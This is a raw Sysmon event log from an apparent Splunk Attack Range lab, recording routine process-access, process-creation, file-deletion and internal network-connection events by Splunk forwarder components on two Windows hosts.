14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016094Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016093Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016092Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016091Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016090Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016089Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7224-613B-EF04-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016088Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7224-613B-EF04-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016087Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.431{625C326B-7224-613B-EF04-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016086Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.320{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FA4F81DE984F011F2BA163DF8196F8F3,SHA256=3028E7F468CE5D13DAEFEE9851F55006E31068B4F4D61BC83BFE825EA8403066,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016102Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:37.930{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=636866689546CFDA0847A5E0B9D553F3,SHA256=9BDB0552D5F80D8530055A908DFD35BD579607E5624F465C40D51118DBA0ECE9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:37.225{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5E58830831DC3B26E55FCA4571ECE46,SHA256=914FEFD25586BAD396AFD0C7C8E86169AC8A2AF65B1E8255F6A6A2444D1E92D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016101Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:37.445{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1EC0E0B011E9CA0B3FCF37D84DDBD1E8,SHA256=4CA48ECFB9D1BAB33ECAFFC712FCB5D640D271D75D522DC04B60FA3D1357A65F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016103Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:38.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71470A7970735EFE44310922BF645CC7,SHA256=A0348BDC4407F372630892C0FA8CF7AD4E3E49507FAEA9B17DE0E5A54F047B5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:38.256{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B1C92BF5BDF50F7370157337BF2BCE4,SHA256=25A006452E8516DF150C0B934477DC9FCC07FBEE24BD9E991A614BB952C1FF86,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016105Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:39.977{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7DA9A2F2C753DBACD5F9D42736F348B,SHA256=B21A0A73D17C34ED22BCE82BFE864D511B32749AE52D1E81993C1984B4B5B09C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:36.547{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59467-false10.0.1.12-8000- 23542300x800000000000000048368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:39.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9AB67B33CDB59CE158AE3E996C68E295,SHA256=95801F5D74CB5EDB186060FCFD02980EB65D007DEA9C5CEFA124E4661CFEF092,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016104Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:38.393{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50265-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016106Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:40.992{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9374BB46A9402C6D3796E587863FAA88,SHA256=6B5DF84530204A9119308CAE566E0C9967230C8BFB856353086568F322C6BE7E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:40.288{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52A43EC3F5CBDB7AF98F94F381427D17,SHA256=9DD1BE03CEB3D40BEF5ECF4309DCB84A7C6FCB44E975636C6F051EE83A00275E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:41.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3C38C48DE900DD1462518E91A2E5F6E,SHA256=92F158AF35116EA609E4992663953F8D798304548E4C4A52342AE1E42BEB5305,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:42.319{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AD728F582B070D75DDE8F602E9FB297,SHA256=1FFD029092CE9CA2D4FD07963110D7B05606C597E95EC220FDDDDB3F6176C69A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016107Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:42.008{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6C56ACC757AC6EC1005242A9706E02F9,SHA256=AEE5592BEB8F9508FDE57E310240F1888FE06C15F70E16E519AF299D48035879,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:43.334{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55B614E55E8FFEB83963C0015501736C,SHA256=DFB575668B87829EC5C67CE491C4CCFAD2EF0397A44E3DE933B18F3BB0E516C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016108Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:43.023{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=32FC28F8929F1B294E7497ADFB2DB2F6,SHA256=9A09C1D00352AD03B7AB12B8DC92D56AA36FA73EFDDCFC778595AE0FF54742C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:44.350{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBA5977738A2F24F782C8B0717A814A1,SHA256=0CB3346F2CB8F4C3EA51EE0D43A41B273ED5F69B3E92FAE6C67B0B32D21EE414,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016109Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:44.055{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=918B797ABB0E06FC594B056266935A4B,SHA256=756DB560075FC3C332E4AB4B453E41CD9EAAB43C7CF7FA188DA0FB8BA4FB3FD3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:42.375{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59468-false10.0.1.12-8000- 23542300x800000000000000048375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:45.506{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CEA138AC14DB927A0C0B4A3E3B210FFE,SHA256=009D7CB161281758847FF3D0FDEFDA51114584695BD5B6C8CCB2F3D7E4561D19,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016111Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:43.518{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50266-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016110Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:45.086{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E336C2DF11CCA3D9EA18EE06BEB044DF,SHA256=D7F66E9FC7445B5E5329B5CEFF78BB4C891272A40564E71F3D9DD901AE522F8E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:46.522{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5D3D90FCBE8AD0D33A19F1EF67333F0,SHA256=0911436A758DF3F673E41BEE784BC8845F7E55587CD15DEE6B73608FD4508AB7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016112Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:46.102{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74732BF6B0C44768449B3C073A622F62,SHA256=3F6CA5CCB9A695907368B1AB8C69B132D613CA0AFDD2A85BCBD104CB9E62721F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:47.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD58AA6D4E18AF9317AB7E35CC768920,SHA256=D7134D73176AD1CC5EE5B1A0EF4E89B9F77FF409514EBF0E7F01FF7C4F1CC9A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016113Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:47.102{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B52BA96233CF47F1B737AF9CEE8E4089,SHA256=B31C986542FD3AB2F20A18B3FD21F0E2B0F2AE3A59F656E47616776F8C712146,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:48.553{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22F7EE00DF6B34C4341AA9E0ECEFC114,SHA256=3B26C1F60B439C02E343B459897E2E46F8178445E1E4B217449871C66436F5F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016114Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:48.117{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A239FE6A8B9C070B6EB278D2A59BE935,SHA256=A49645C3FB50BECAEB65DBCAD2E829DA747C0180EF9BD12E23134423F8DFABCC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:49.569{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1ABFCE245E8F84F41FCCEF19ACAD3F3F,SHA256=DA5DB0ACAC62BBC07454A563B2061608E06D804A9350D09E5D4A01B19085A7E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016115Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:49.148{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D7B4621A4DD607DA645FBE6B3680EBA,SHA256=D78B27E2641F2B1961FA975B870B307316840B1A58033783443967F33AC7610D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:47.423{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59469-false10.0.1.12-8000- 23542300x800000000000000048381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:50.584{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7684B5ED9FC0A8CBE9341CA021DDD9D,SHA256=AA986A09F430DA9EB9A4E00113F0E13603E053D480296ED2F16F11BEC77BC674,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016116Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:50.180{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8745B03114F41380F51EA6B2C7C03648,SHA256=C0BE9FED058BECA3CA11D90E4B7B1FBAA11B4E7ED71C03D74BB909A8AE6E251C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:51.596{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 